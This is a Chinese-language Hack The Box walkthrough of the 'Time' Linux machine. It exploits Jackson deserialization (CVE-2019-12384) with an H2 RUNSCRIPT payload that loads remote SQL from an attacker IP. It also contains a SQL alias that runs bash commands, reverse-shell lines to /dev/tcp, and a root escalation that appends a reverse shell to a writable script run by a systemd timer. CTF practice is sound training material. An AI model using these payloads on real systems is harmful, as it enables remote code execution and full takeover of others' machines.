HTB 学习笔记
【Hack The Box】linux练习-- time
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- Jackson CVE-2019-12384
- shell->root
信息收集
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
是一个js美化的
只有一个框可以输入js代码
也就只是给你改成次行风格
另一种模式尝试一下
发现报错了
alidation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
所以后端使用 Java 来验证 JSON,特别是Jackson
Jackson CVE-2019-12384
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]
这是利用了 JSON 反序列化漏洞。 在这个概念验证中,他们使用的是 H2 数据库驱动程序(在大多数使用数据库的 Java 部署中应该存在,这是最多的)。 该驱动程序可以运行一个 SQL 脚本,该脚本通常用于支持数据库迁移。
确实有效
接下来就要只做一个恶意sql文件
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('ping -c 1 10.10.14.29')
接收到了ping
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"')
shell->root
下一步就是提权了,我将上传linpeas.sh并且还有pxpy,来分析进程以及一些二进制文件
/usr/bin/timer_backup.sh
/tmp/hsperfdata_pericles/5951
该计时器上次运行是在四秒前,将在五秒后再次运行。 在 HTB 机器上,任何少于五分钟的计时器都值得一看。
看到存在一个计划任务
我将寻找一下这个文件在哪里
find /etc/systemd/ -name timer_backup.service
得到结果
/etc/systemd/system/timer_backup.service
查看一下
cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
它只是重新启动另一个服务, web_backup.service
并且是root运行
寻找一下他重启的服务
find /etc/systemd/ -name web_backup.service
也是root运行
查看一下
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
他调用了/usr/bin/timer_backup.sh
这个脚本对我们是可写的
那就没啥说的了
echo -e '\nbash -i >& /dev/tcp/10.10.14.8/443 0>&1' >> /usr/bin/timer_backup.sh
两个>>添加到最后一行